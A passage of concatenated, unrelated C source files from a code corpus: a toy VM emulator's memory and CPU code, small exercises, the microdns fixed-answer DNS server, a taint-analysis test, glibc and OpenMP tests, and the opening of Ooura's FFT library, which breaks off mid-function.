case WRITE: bit = TLB_BIT_WRITE; break;
case EXECUTE: bit = TLB_BIT_EXECUTE; break;
}
if (bit_get(tva, bit) == 0)
return trap(v, T_PROTECT, vaddr);
bit_set(&v->tlb_va[i], TLB_BIT_ACCESSED);
if (rwx == WRITE)
bit_set(&v->tlb_va[i], TLB_BIT_DIRTY);
*paddr = pva;
}
/* The MIPs way is to throw an exception and let the software
* deal with the problem, the fault handler cannot throw memory
* faults obviously. */
return trap(v, T_UNMAPPED, vaddr);
}
static int tlb_flush_single(vm_t *v, uint64_t vaddr, uint64_t *found) {
assert(v);
assert(found);
*found = 0;
if (bit_get(v->flags, PRIV) == 0)
return trap(v, T_PRIV, vaddr);
BUILD_BUG_ON(sizeof (v->tlb_va) != sizeof (v->tlb_pa));
vaddr &= TLB_ADDR_MASK;
for (size_t i = 0; i < NELEMS(v->tlb_va); i++)
if (vaddr == (v->tlb_va[i] & TLB_ADDR_MASK)) {
bit_clr(&v->tlb_va[i], TLB_BIT_IN_USE);
*found = 1;
return 0;
}
return 0;
}
static int tlb_flush_all(vm_t *v) {
assert(v);
if (bit_get(v->flags, PRIV) == 0)
return trap(v, T_PRIV, 0);
memset(v->tlb_va, 0, sizeof v->tlb_va);
memset(v->tlb_pa, 0, sizeof v->tlb_va);
return 0;
}
#define IO(X, Y) ((((uint64_t)(X)) * (PAGE_SIZE / sizeof (uint64_t))) + (uint64_t)(Y))
static int load_phy(vm_t *v, uint64_t addr, uint64_t *val) {
assert(v);
assert(val);
*val = 0;
if (addr & 7ull)
return trap(v, T_ALIGN, v->pc);
if (within(addr, MEMORY_START, MEMORY_END)) {
addr -= MEMORY_START;
addr /= sizeof (uint64_t);
*val = v->m[addr];
return 0;
}
if (within(addr, IO_START, IO_END)) {
addr -= IO_START;
addr /= sizeof (uint64_t);
switch (addr) {
/* PAGE 0 = Info */
case IO(0, 0): *val = 1; /* version */ return 0;
case IO(0, 1): *val = sizeof (uint64_t); return 0;
case IO(0, 2): *val = NELEMS(v->tlb_va); return 0;
case IO(0, 3): *val = PAGE_SIZE; return 0;
case IO(0, 4): *val = TRAPS; return 0;
case IO(0, 5): *val = 0x3; return 0; /* available I/O: UART + DISK available */
/* PAGE 1 = Basic system registers */
case IO(1, 0): *val = v->halt; return 0;
case IO(1, 1): *val = v->tron; return 0;
case IO(1, 2): *val = v->tick; return 0;
case IO(1, 3): *val = v->timer; return 0;
case IO(1, 4): *val = v->rtc_control; return 0;
case IO(1, 5): *val = v->rtc_s; return 0;
case IO(1, 6): *val = v->rtc_frac_s; return 0;
/* PAGE 2 = UART */
case IO(2, 0): *val = 0x4; /* bit 3 = RX queue not empty, bit 5 = TX queue not empty */ return 0;
case IO(2, 1): *val = v->uart_rx; return 0;
case IO(2, 2): *val = v->uart_rx; return 0;
/* PAGE 3 = Disk Control */
case IO(3, 0): *val = v->dstat; return 0;
case IO(3, 1):
bit_clr(&v->dstat, 0); /* never busy */
bit_clr(&v->dstat, 1); /* do operation always reads 0 */
*val = v->dstat & 0x1Full;
return 0;
/* PAGE 4 = Disk Buffer */
}
if (within(addr, IO(4, 0), IO(4, 0) + (sizeof (v->dbuf)/sizeof (uint64_t)))) {
*val = v->dbuf[addr - IO(4, 0)];
return 0;
}
}
return trap(v, T_ADDR, v->pc);
}
static int store_phy(vm_t *v, uint64_t addr, uint64_t val) {
assert(v);
if (addr & 7ull)
return trap(v, T_ALIGN, v->pc);
if (within(addr, MEMORY_START, MEMORY_END)) {
addr -= MEMORY_START;
addr /= sizeof (uint64_t);
v->m[addr] = val;
return 0;
}
if (within(addr, IO_START, IO_END)) {
addr -= IO_START;
addr /= sizeof (uint64_t);
switch (addr) {
/* PAGE 0 = Info */
/* PAGE 1 = Basic system registers */
case IO(1, 0): v->halt = val; return 0;
case IO(1, 1): v->tron = val; return 0;
case IO(1, 2): v->tick = val; return 0;
case IO(1, 3): v->timer = val; return 0;
case IO(1, 4): if (val & 1) {
v->rtc_s = time(NULL);
v->rtc_frac_s = 0;
}; return 0;
case IO(1, 5): v->rtc_s = val; return 0;
case IO(1, 6): v->rtc_frac_s = val; return 0;
/* PAGE 2 = UART */
case IO(2, 0):
if (val & 1ull)
v->uart_rx = wrap_getch();
if (val & 2ull)
v->uart_tx = wrap_putch(v->uart_tx);
return 0;
case IO(2, 1): v->uart_rx = val; return 0;
case IO(2, 2): v->uart_rx = val; return 0;
/* PAGE 3 = Disk Control */
case IO(3, 0):
BUILD_BUG_ON((sizeof(v->disk) % sizeof(v->dbuf) != 0));
v->dstat = val & 0x1Dull;
if (v->dstat & 0x10ull)
return 0;
if (bit_get(val, 1)) {
if ((v->dp / sizeof (uint64_t)) > (sizeof (v->disk) / sizeof(v->dbuf))) {
v->dstat |= 0x10ull;
return 0;
}
BUILD_BUG_ON((sizeof(v->disk) % sizeof(v->dbuf) != 0));
if (bit_get(val, 2)) {
memcpy(&v->disk[v->dp / sizeof (uint64_t)], &v->dbuf[0], sizeof v->dbuf);
} else {
memcpy(&v->dbuf[0], &v->disk[v->dp / sizeof (uint64_t)], sizeof v->dbuf);
}
}
return 0;
case IO(3, 1): v->dp = val; return 0;
/* PAGE 4 = Disk Buffer */
}
if (within(addr, IO(4, 0), IO(4, 0) + (sizeof (v->dbuf)/sizeof (uint64_t)))) {
v->dbuf[addr - IO(4, 0)] = val;
return 0;
}
}
return trap(v, T_ADDR, v->pc);
}
static int loadw(vm_t *v, uint64_t addr, uint64_t *val, int rwx) {
assert(v);
assert(val);
if (bit_get(v->flags, VIRT))
if (tlb_lookup(v, addr, &addr, rwx))
return 1;
return load_phy(v, addr, val);
}
static int loadb(vm_t *v, uint64_t addr, uint8_t *val) {
assert(v);
assert(val);
uint64_t u64 = 0;
if (loadw(v, addr & ~7ull, &u64, READ))
return 1;
*val = (u64 >> (addr % 8ull * CHAR_BIT));
return 0;
}
static int storew(vm_t *v, uint64_t addr, uint64_t val) {
assert(v);
if (bit_get(v->flags, VIRT))
if (tlb_lookup(v, addr, &addr, WRITE))
return 1;
return store_phy(v, addr, val);
}
static int storeb(vm_t *v, uint64_t addr, uint8_t val) {
assert(v);
assert(val);
uint64_t orig = 0;
if (loadw(v, addr & (~7ull), &orig, READ))
return 1;
const unsigned shift = (addr & 7ull) * CHAR_BIT;
orig &= ~(0xFFull << shift);
orig |= ((uint64_t)val) << shift;
return storew(v, addr & ~7ull, orig);
}
static int cpu(vm_t *v) {
assert(v);
uint64_t instr = 0, npc = v->pc + sizeof(uint64_t);
if (loadw(v, v->pc, &instr, EXECUTE))
goto trapped;
const uint32_t op = instr >> 32;
const uint32_t op1 = instr & 0xFFFFFFFFul;
const uint8_t ras = op;
const uint8_t rbs = op >> 8;
const uint8_t alu = op >> 16;
const uint8_t b = rbs & 7;
const uint8_t a = ras & 7;
uint64_t rb = v->r[b];
uint64_t ra = v->r[a];
uint64_t trap_addr = 0;
uint64_t trap_val = v->pc;
if (trace(v, "+pc,%"PRIx64",%"PRIx64",%"PRIx64",", v->pc, instr, op1) < 0)
return -1;
if ((op & 0x80000000ul) && !bit_get(v->flags, V))
goto next;
if ((op & 0x40000000ul) && !bit_get(v->flags, C))
goto next;
if ((op & 0x20000000ul) && !bit_get(v->flags, Z))
goto next;
if ((op & 0x10000000ul) && !bit_get(v->flags, N))
goto next;
uint64_t nra = ra;
if (ras & 0x1) { ra = op1; }
if (ras & 0x2) { ra = ra & 0x0000000080000000ull ? ra | 0xFFFFFFFF00000000ull : ra; }
if (ras & 0x4) { ra += v->pc; }
if (rbs & 0x1) { rb = op1; }
if (rbs & 0x2) { rb = rb & 0x0000000080000000ull ? rb | 0xFFFFFFFF00000000ull : rb; }
if (rbs & 0x4) { rb += v->pc; }
if (ras & 0x8 || rbs & 0x8) { trap_addr = T_INST; goto on_trap; }
switch (alu) {
case 0: nra = ra; break;
case 1: nra = rb; break;
case 2: nra = ~ra; break;
case 3: nra = ra & rb; break;
case 4: nra = ra | rb; break;
case 5: nra = ra ^ rb; break;
case 6: nra = ra << rb; break;
case 7: nra = ra >> rb; break;
case 8: nra = ra * rb; break;
case 9: if (!rb) { trap_addr = T_DIV0; goto on_trap; } nra = ra / rb; break;
case 10: ra += bit_get(v->flags, C); /* fall-through */
case 11: nra = ra + rb; bit_cnd(&v->flags, C, nra < ra); bit_cnd(&v->flags, V, ((nra ^ ra) & (nra ^ rb)) >> 63); break;
case 12: ra -= bit_get(v->flags, C); /* fall-through */
case 13: nra = ra - rb; bit_cnd(&v->flags, C, nra > ra); bit_cnd(&v->flags, V, ((nra ^ ra) & (nra ^ rb)) >> 63); break;
/* NB. Need to add floating point instructions, which will also set arithmetic flags */
case 32: npc = ra; break; /* jump */
case 33: nra = npc; npc = ra; break; /* link */
case 48: nra = v->flags; break;
case 49:
if (bit_get(v->flags, PRIV) == 0) {
v->flags &= ~(0xFull << 52);
v->flags |= (ra & (0xFull << 52));
break;
}
v->flags = ra;
break;
case 50: nra = v->traps[ra % TRAPS]; break;
case 51:
if (bit_get(v->flags, PRIV) == 0) {
trap_addr = T_PRIV;
goto on_trap;
}
v->traps[ra % TRAPS] = rb;
break;
case 64: if (loadw(v, ra, &nra, READ)) goto trapped; break;
case 65: if (storew(v, ra, rb)) goto trapped; break;
case 66: { uint8_t byte = 0; if (loadb(v, ra, &byte)) goto trapped; nra = byte; } break;
case 67: if (storeb(v, ra, rb)) goto trapped; break;
case 80: trap_addr = ra; trap_val = rb; goto on_trap;
case 81: if (tlb_flush_single(v, ra, &nra)) goto on_trap; break;
case 82: if (tlb_flush_all(v)) goto trapped; break;
case 83: {
if (bit_get(v->flags, PRIV) == 0) {
trap_addr = T_PRIV;
goto on_trap;
}
const int va = bit_get(ra, 15);
bit_clr(&nra, 15);
if (nra > NELEMS(v->tlb_va)) {
trap_addr = T_INST;
goto on_trap;
}
if (va) v->tlb_va[ra] = rb; else v->tlb_pa[ra] = rb;
}
break;
default:
trap_addr = T_INST;
}
v->r[a] = nra;
if (nra == 0)
bit_set(&v->flags, Z);
if ((nra & (1ull << 63)))
bit_set(&v->flags, N);
next:
v->pc = npc;
return 0;
on_trap:
return trap(v, trap_addr, trap_val);
trapped:
return 1;
}
static int interrupt(vm_t *v) {
assert(v);
if (v->timer && v->tick >= v->timer) {
v->tick = 0;
if (bit_get(v->flags, INTR) == 0)
return trap(v, T_TIMER, v->timer);
}
v->tick++;
return 0;
}
static int run(vm_t *v, uint64_t step) {
assert(v);
int forever = step == 0;
for (uint64_t i = 0; (i < step || forever) && !v->halt; i++) {
if (interrupt(v) < 0)
return -1;
if (cpu(v) < 0)
return -1;
}
return v->halt;
}
int main(int argc, char **argv) {
static vm_t v;
v.pc = MEMORY_START;
v.trace = stderr;
if (argc != 3)
return 1;
FILE *fin = fopen(argv[1], "rb");
if (!fin)
return 2;
v.loaded = fread(v.m, 1, sizeof v.m, fin);
if (fclose(fin) < 0)
return 3;
if (run(&v, 0) < 0)
return 4;
FILE *fout = fopen(argv[2], "wb");
if (!fout)
return 5;
(void)fwrite(v.m, 1, sizeof v.m, fout);
if (fclose(fout) < 0)
return 6;
return 0;
}
|
the_stack_data/90765340.c
|
#include <stdio.h>
int main()
{
for (int i = 1; i <= 5; i++)
{
for (int j = 1; j <= (5 - i); j++)
{
printf(" ");
}
for (int j = 1; j <= i; j++)
{
if (i % 2 == 0)
{
printf("%c ", i + 64);
}
else
{
printf("%d ", i);
}
}
printf("\n");
}
return 0;
}
|
the_stack_data/105118.c
|
/* write a function rightrot(x,n) that returns the value of the integer x rotated to rightby n bit positions */
#include<stdio.h>
unsigned rightrot(unsigned x,int n);
int main(void)
{
printf("%u",(unsigned)rightrot((unsigned)8,(int)1));
return 0;
}
/* rightrot: rotate x to right by n bit positions */
unsigned rightrot(unsigned x,int n)
{
int wordlength(void);
unsigned rbit;/* rightmost bit */
rbit = x << (wordlength() - n);
x = x >> n;
x = x | rbit;
return x;
}
int wordlength(void)
{
int i;
unsigned v = (unsigned) ~0;
for(i=1;(v=v>>1)>0;i++)
;
return i;
}
|
the_stack_data/231392308.c
|
/* Copyright (c) 2009-2010 Sam Trenholme
*
* TERMS
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* This software is provided 'as is' with no guarantees of correctness or
* fitness for purpose.
*/
/* Source: http://samiam.org/software/microdns.html
* Added the feature to always answer NXDOMAIN. -ot.20131119
* Added switching UID. -ot.20140106
* Added listening port. -ot.20160609
*/
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
/* We use a special SOCKET type for easier Windows porting */
#define SOCKET int
/* This is the header placed before the 4-byte IP; we change the last four
* bytes to set the IP we give out in replies */
char p[17] =
"\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x00\x00\x04\x7f\x7f\x7f\x7f";
/* microdns: This is a tiny DNS server that does only one thing: It
always sends a given IPv4 IP to any and all queries sent to the server.
The IP to send the user is given in the first argument; the second optional
argument is the IP of this tiny DNS server. If the second argument is not
given, microdns binds to "0.0.0.0": All the IP addresses the server has.
For example, to have micrdns always give the IP address 10.1.2.3 on the
IP 127.0.0.1:
microdns 10.1.2.3 127.0.0.1
To always answer NXDOMAIN on the IP 192.168.1.1 port 53535:
microdns 255.255.255.255 192.168.1.1 53535
*/
/* Based on command-line arguments, set the IP we will bind to and the
IP we send over the pipe */
uint32_t get_ip(int argc, char **argv) {
uint32_t ip;
/* Set the BIND ip and the IP we give everyone */
if(argc < 2 || argc > 4) {
printf(
"Usage: microdns {ip to give out} [{ip of microdns server}] [{port of microdns server}]\n"
);
exit(1);
}
/* Set the IP we give everyone */
ip = inet_addr(argv[1]);
ip = ntohl(ip);
p[12] = (ip & 0xff000000) >> 24;
p[13] = (ip & 0x00ff0000) >> 16;
p[14] = (ip & 0x0000ff00) >> 8;
p[15] = (ip & 0x000000ff);
/* Set the IP we bind to (default is "0", which means "all IPs) */
ip = 0;
if(argc > 2) {
ip = inet_addr(argv[2]);
}
/* Return the IP we bind to */
return ip;
}
/* Get port: Get a port locally and return the socket the port is on */
SOCKET get_port(uint32_t ip, int argc, char **argv, struct sockaddr_in *dns_udp) {
SOCKET sock;
int len_inet;
int port = 53;
if (argc > 3) {
port = atoi(argv[3]);
}
sock = socket(AF_INET,SOCK_DGRAM,0);
if(sock == -1) {
perror("socket error");
exit(0);
}
memset(dns_udp,0,sizeof(struct sockaddr_in));
dns_udp->sin_family = AF_INET;
dns_udp->sin_port = htons(port);
dns_udp->sin_addr.s_addr = ip;
if(dns_udp->sin_addr.s_addr == INADDR_NONE) {
printf("Problem with bind IP %s\n",argv[2]);
exit(0);
}
len_inet = sizeof(struct sockaddr_in);
if(bind(sock,(struct sockaddr *)dns_udp,len_inet) == -1) {
perror("bind error");
exit(0);
}
/* Linux kernel bug */
/* fcntl(sock, F_SETFL, O_NONBLOCK); */
return sock;
}
int main(int argc, char **argv) {
int a, len_inet, nx = 0;
SOCKET sock;
char in[512];
socklen_t foo = sizeof(in);
struct sockaddr_in dns_udp;
uint32_t ip = 0; /* 0.0.0.0; default bind IP */
int leni = sizeof(struct sockaddr);
ip = get_ip(argc, argv);
sock = get_port(ip,argc,argv,&dns_udp);
#ifdef GID
if(setregid(GID, GID) < 0) {
perror("setregid error");
exit(0);
}
#endif
#ifdef UID
if(setreuid(UID, UID) < 0) {
perror("setreuid error");
exit(0);
}
#endif
nx = (char)(p[12] & p[13] & p[14] & p[15]) == (char)0xFF;
/* Now that we know the IP and are on port 53, process incoming
* DNS requests */
for(;;) {
/* Get data from UDP port 53 */
len_inet = recvfrom(sock,in,255,0,(struct sockaddr *)&dns_udp,
&foo);
/* Roy Arends check: We only answer questions */
if(len_inet < 3 || (in[2] & 0x80) != 0x00) {
continue;
}
/* Prepare the reply */
if(len_inet > 12) {
/* Make this an answer */
in[2] |= 0x80;
if (nx) {
in[2] |= 0x04; /* AA */
in[3] = 3; /* NXDOMAIN, !RA */
}
else {
if(in[11] == 0) { /* EDNS not supported */
/* We add an additional answer */
in[7]++;
} else {
in[3] &= 0xf0; in[3] |= 4; /* NOTIMPL */
}
if(in[11] == 0) { /* Again, EDNS not supported */
for(a=0;a<16;a++) {
in[len_inet + a] = p[a];
}
len_inet += 16;
}
}
}
/* Send the reply */
sendto(sock,in,len_inet,0, (struct sockaddr *)&dns_udp,
leni);
}
}
|
the_stack_data/117326979.c
|
// This is just a simple case showing how our SDG
// IFC analysis can find taint even when it is
// passed out of a function and modified.
#include <stdio.h>
char newchar() {
char c = 0;
#pragma leek tainted
c = getchar();
return c;
}
int main() {
int x;
x=11;
x = newchar();
x += 5;
#pragma leek trusted
return x;
}
|
the_stack_data/724120.c
|
/* Copyright (C) 1991-2015 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
main (int argc, char **argv)
{
static const char hello[] = "Hello, world.\n";
static const char replace[] = "Hewwo, world.\n";
static const size_t replace_from = 2, replace_to = 4;
char filename[FILENAME_MAX];
char *name = strrchr (*argv, '/');
char buf[BUFSIZ];
FILE *f;
int lose = 0;
if (name != NULL)
++name;
else
name = *argv;
(void) sprintf (filename, "/tmp/%s.test", name);
f = fopen (filename, "w+");
if (f == NULL)
{
perror (filename);
exit (1);
}
(void) fputs (hello, f);
rewind (f);
(void) fgets (buf, sizeof (buf), f);
rewind (f);
(void) fputs (buf, f);
rewind (f);
{
size_t i;
for (i = 0; i < replace_from; ++i)
{
int c = getc (f);
if (c == EOF)
{
printf ("EOF at %Zu.\n", i);
lose = 1;
break;
}
else if (c != hello[i])
{
printf ("Got '%c' instead of '%c' at %Zu.\n",
(unsigned char) c, hello[i], i);
lose = 1;
break;
}
}
}
{
long int where = ftell (f);
if (where == (long int) replace_from)
{
size_t i;
for (i = replace_from; i < replace_to; ++i)
if (putc(replace[i], f) == EOF)
{
printf ("putc('%c') got %s at %Zu.\n",
replace[i], strerror (errno), i);
lose = 1;
break;
}
}
else if (where == -1L)
{
printf ("ftell got %s (should be at %Zu).\n",
strerror (errno), replace_from);
lose = 1;
}
else
{
printf ("ftell returns %lu; should be %Zu.\n", where, replace_from);
lose = 1;
}
}
if (!lose)
{
rewind (f);
if (fgets (buf, sizeof (buf), f) == NULL)
{
printf ("fgets got %s.\n", strerror(errno));
lose = 1;
}
else if (strcmp (buf, replace))
{
printf ("Read \"%s\" instead of \"%s\".\n", buf, replace);
lose = 1;
}
}
if (lose)
printf ("Test FAILED! Losing file is \"%s\".\n", filename);
else
{
(void) remove (filename);
puts ("Test succeeded.");
}
return lose ? EXIT_FAILURE : EXIT_SUCCESS;
}
|
the_stack_data/84825.c
|
#include <stdio.h>
int sum_of_even_fibonacci(int limit) {
int n1 = 0;
int n2 = 1;
int ret = 0;
while (n2 <= limit) {
int tmp = n1 + n2;
// Add the current fibonacci number if it is even.
if (n2 % 2 == 0) ret += n2;
// Calculate next fibonacci number.
n1 = n2;
n2 = tmp;
}
return ret;
}
int main() {
printf("Sum of even fibonacci numbers that do not exceed 4000000 is %d\n", sum_of_even_fibonacci(4000000));
}
|
the_stack_data/104290.c
|
/* PR c++/38650 */
/* { dg-do run } */
#include <stdlib.h>
int e;
int
main ()
{
volatile int i, j = 10;
e = 0;
#pragma omp parallel for reduction(+:e)
for (i = 0; i < j; i += 1)
e++;
if (e != 10)
abort ();
e = 0;
#pragma omp parallel for reduction(+:e)
for (i = 0; i < j; ++i)
e++;
if (e != 10)
abort ();
e = 0;
#pragma omp parallel for reduction(+:e)
for (i = 0; i < j; i++)
e++;
if (e != 10)
abort ();
e = 0;
#pragma omp parallel for reduction(+:e)
for (i = 0; i < 10; i += 1)
e++;
if (e != 10)
abort ();
e = 0;
#pragma omp parallel for reduction(+:e)
for (i = 0; i < 10; ++i)
e++;
if (e != 10)
abort ();
e = 0;
#pragma omp parallel for reduction(+:e)
for (i = 0; i < 10; i++)
e++;
if (e != 10)
abort ();
return 0;
}
|
the_stack_data/57948985.c
|
/*
Copyright Takuya OOURA, 1996-2001
http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html
You may use, copy, modify and distribute this code for any purpose (include commercial use) and without fee.
Please refer to this package when you modify this code.
*/
#include <stdlib.h>
typedef float REAL;
/*
Fast Fourier/Cosine/Sine Transform
dimension :one
data length :power of 2
decimation :frequency
radix :split-radix
data :inplace
table :use
functions
cdft: Complex Discrete Fourier Transform
rdft: Real Discrete Fourier Transform
ddct: Discrete Cosine Transform
ddst: Discrete Sine Transform
dfct: Cosine Transform of RDFT (Real Symmetric DFT)
dfst: Sine Transform of RDFT (Real Anti-symmetric DFT)
function prototypes
void cdft(int, int, REAL *, int *, REAL *);
void rdft(int, int, REAL *, int *, REAL *);
void ddct(int, int, REAL *, int *, REAL *);
void ddst(int, int, REAL *, int *, REAL *);
void dfct(int, REAL *, REAL *, int *, REAL *);
void dfst(int, REAL *, REAL *, int *, REAL *);
-------- Complex DFT (Discrete Fourier Transform) --------
[definition]
<case1>
X[k] = sum_j=0^n-1 x[j]*exp(2*pi*i*j*k/n), 0<=k<n
<case2>
X[k] = sum_j=0^n-1 x[j]*exp(-2*pi*i*j*k/n), 0<=k<n
(notes: sum_j=0^n-1 is a summation from j=0 to n-1)
[usage]
<case1>
ip[0] = 0; // first time only
cdft(2*n, 1, a, ip, w);
<case2>
ip[0] = 0; // first time only
cdft(2*n, -1, a, ip, w);
[parameters]
2*n :data length (int)
n >= 1, n = power of 2
a[0...2*n-1] :input/output data (REAL *)
input data
a[2*j] = Re(x[j]),
a[2*j+1] = Im(x[j]), 0<=j<n
output data
a[2*k] = Re(X[k]),
a[2*k+1] = Im(X[k]), 0<=k<n
ip[0...*] :work area for bit reversal (int *)
length of ip >= 2+sqrt(n)
strictly,
length of ip >=
2+(1<<(int)(log(n+0.5)/log(2))/2).
ip[0],ip[1] are pointers of the cos/sin table.
w[0...n/2-1] :cos/sin table (REAL *)
w[],ip[] are initialized if ip[0] == 0.
[remark]
Inverse of
cdft(2*n, -1, a, ip, w);
is
cdft(2*n, 1, a, ip, w);
for (j = 0; j <= 2 * n - 1; j++) {
a[j] *= 1.0 / n;
}
.
-------- Real DFT / Inverse of Real DFT --------
[definition]
<case1> RDFT
R[k] = sum_j=0^n-1 a[j]*cos(2*pi*j*k/n), 0<=k<=n/2
I[k] = sum_j=0^n-1 a[j]*sin(2*pi*j*k/n), 0<k<n/2
<case2> IRDFT (excluding scale)
a[k] = (R[0] + R[n/2]*cos(pi*k))/2 +
sum_j=1^n/2-1 R[j]*cos(2*pi*j*k/n) +
sum_j=1^n/2-1 I[j]*sin(2*pi*j*k/n), 0<=k<n
[usage]
<case1>
ip[0] = 0; // first time only
rdft(n, 1, a, ip, w);
<case2>
ip[0] = 0; // first time only
rdft(n, -1, a, ip, w);
[parameters]
n :data length (int)
n >= 2, n = power of 2
a[0...n-1] :input/output data (REAL *)
<case1>
output data
a[2*k] = R[k], 0<=k<n/2
a[2*k+1] = I[k], 0<k<n/2
a[1] = R[n/2]
<case2>
input data
a[2*j] = R[j], 0<=j<n/2
a[2*j+1] = I[j], 0<j<n/2
a[1] = R[n/2]
ip[0...*] :work area for bit reversal (int *)
length of ip >= 2+sqrt(n/2)
strictly,
length of ip >=
2+(1<<(int)(log(n/2+0.5)/log(2))/2).
ip[0],ip[1] are pointers of the cos/sin table.
w[0...n/2-1] :cos/sin table (REAL *)
w[],ip[] are initialized if ip[0] == 0.
[remark]
Inverse of
rdft(n, 1, a, ip, w);
is
rdft(n, -1, a, ip, w);
for (j = 0; j <= n - 1; j++) {
a[j] *= 2.0 / n;
}
.
-------- DCT (Discrete Cosine Transform) / Inverse of DCT --------
[definition]
<case1> IDCT (excluding scale)
C[k] = sum_j=0^n-1 a[j]*cos(pi*j*(k+1/2)/n), 0<=k<n
<case2> DCT
C[k] = sum_j=0^n-1 a[j]*cos(pi*(j+1/2)*k/n), 0<=k<n
[usage]
<case1>
ip[0] = 0; // first time only
ddct(n, 1, a, ip, w);
<case2>
ip[0] = 0; // first time only
ddct(n, -1, a, ip, w);
[parameters]
n :data length (int)
n >= 2, n = power of 2
a[0...n-1] :input/output data (REAL *)
output data
a[k] = C[k], 0<=k<n
ip[0...*] :work area for bit reversal (int *)
length of ip >= 2+sqrt(n/2)
strictly,
length of ip >=
2+(1<<(int)(log(n/2+0.5)/log(2))/2).
ip[0],ip[1] are pointers of the cos/sin table.
w[0...n*5/4-1] :cos/sin table (REAL *)
w[],ip[] are initialized if ip[0] == 0.
[remark]
Inverse of
ddct(n, -1, a, ip, w);
is
a[0] *= 0.5;
ddct(n, 1, a, ip, w);
for (j = 0; j <= n - 1; j++) {
a[j] *= 2.0 / n;
}
.
-------- DST (Discrete Sine Transform) / Inverse of DST --------
[definition]
<case1> IDST (excluding scale)
S[k] = sum_j=1^n A[j]*sin(pi*j*(k+1/2)/n), 0<=k<n
<case2> DST
S[k] = sum_j=0^n-1 a[j]*sin(pi*(j+1/2)*k/n), 0<k<=n
[usage]
<case1>
ip[0] = 0; // first time only
ddst(n, 1, a, ip, w);
<case2>
ip[0] = 0; // first time only
ddst(n, -1, a, ip, w);
[parameters]
n :data length (int)
n >= 2, n = power of 2
a[0...n-1] :input/output data (REAL *)
<case1>
input data
a[j] = A[j], 0<j<n
a[0] = A[n]
output data
a[k] = S[k], 0<=k<n
<case2>
output data
a[k] = S[k], 0<k<n
a[0] = S[n]
ip[0...*] :work area for bit reversal (int *)
length of ip >= 2+sqrt(n/2)
strictly,
length of ip >=
2+(1<<(int)(log(n/2+0.5)/log(2))/2).
ip[0],ip[1] are pointers of the cos/sin table.
w[0...n*5/4-1] :cos/sin table (REAL *)
w[],ip[] are initialized if ip[0] == 0.
[remark]
Inverse of
ddst(n, -1, a, ip, w);
is
a[0] *= 0.5;
ddst(n, 1, a, ip, w);
for (j = 0; j <= n - 1; j++) {
a[j] *= 2.0 / n;
}
.
-------- Cosine Transform of RDFT (Real Symmetric DFT) --------
[definition]
C[k] = sum_j=0^n a[j]*cos(pi*j*k/n), 0<=k<=n
[usage]
ip[0] = 0; // first time only
dfct(n, a, t, ip, w);
[parameters]
n :data length - 1 (int)
n >= 2, n = power of 2
a[0...n] :input/output data (REAL *)
output data
a[k] = C[k], 0<=k<=n
t[0...n/2] :work area (REAL *)
ip[0...*] :work area for bit reversal (int *)
length of ip >= 2+sqrt(n/4)
strictly,
length of ip >=
2+(1<<(int)(log(n/4+0.5)/log(2))/2).
ip[0],ip[1] are pointers of the cos/sin table.
w[0...n*5/8-1] :cos/sin table (REAL *)
w[],ip[] are initialized if ip[0] == 0.
[remark]
Inverse of
a[0] *= 0.5;
a[n] *= 0.5;
dfct(n, a, t, ip, w);
is
a[0] *= 0.5;
a[n] *= 0.5;
dfct(n, a, t, ip, w);
for (j = 0; j <= n; j++) {
a[j] *= 2.0 / n;
}
.
-------- Sine Transform of RDFT (Real Anti-symmetric DFT) --------
[definition]
S[k] = sum_j=1^n-1 a[j]*sin(pi*j*k/n), 0<k<n
[usage]
ip[0] = 0; // first time only
dfst(n, a, t, ip, w);
[parameters]
n :data length + 1 (int)
n >= 2, n = power of 2
a[0...n-1] :input/output data (REAL *)
output data
a[k] = S[k], 0<k<n
(a[0] is used for work area)
t[0...n/2-1] :work area (REAL *)
ip[0...*] :work area for bit reversal (int *)
length of ip >= 2+sqrt(n/4)
strictly,
length of ip >=
2+(1<<(int)(log(n/4+0.5)/log(2))/2).
ip[0],ip[1] are pointers of the cos/sin table.
w[0...n*5/8-1] :cos/sin table (REAL *)
w[],ip[] are initialized if ip[0] == 0.
[remark]
Inverse of
dfst(n, a, t, ip, w);
is
dfst(n, a, t, ip, w);
for (j = 1; j <= n - 1; j++) {
a[j] *= 2.0 / n;
}
.
Appendix :
The cos/sin table is recalculated when the larger table required.
w[] and ip[] are compatible with all routines.
*/
void cdft(int n, int isgn, REAL *a, int *ip, REAL *w)
{
void makewt(int nw, int *ip, REAL *w);
void cftfsub(int n, REAL *a, int *ip, int nw, REAL *w);
void cftbsub(int n, REAL *a, int *ip, int nw, REAL *w);
int nw;
nw = ip[0];
if (n > (nw << 2)) {
nw = n >> 2;
makewt(nw, ip, w);
}
if (isgn >= 0) {
cftfsub(n, a, ip + 2, nw, w);
} else {
cftbsub(n, a, ip + 2, nw, w);
}
}
void rdft(int n, int isgn, REAL *a, int *ip, REAL *w)
{
void makewt(int nw, int *ip, REAL *w);
void makect(int nc, int *ip, REAL *c);
void cftfsub(int n, REAL *a, int *ip, int nw, REAL *w);
void cftbsub(int n, REAL *a, int *ip, int nw, REAL *w);
void rftfsub(int n, REAL *a, int nc, REAL *c);
void rftbsub(int n, REAL *a, int nc, REAL *c);
int nw, nc;
REAL xi;
nw = ip[0];
if (n > (nw << 2)) {
nw = n >> 2;
makewt(nw, ip, w);
}
nc = ip[1];
if (n > (nc << 2)) {
nc = n >> 2;
makect(nc, ip, w + nw);
}
if (isgn >= 0) {
if (n > 4) {
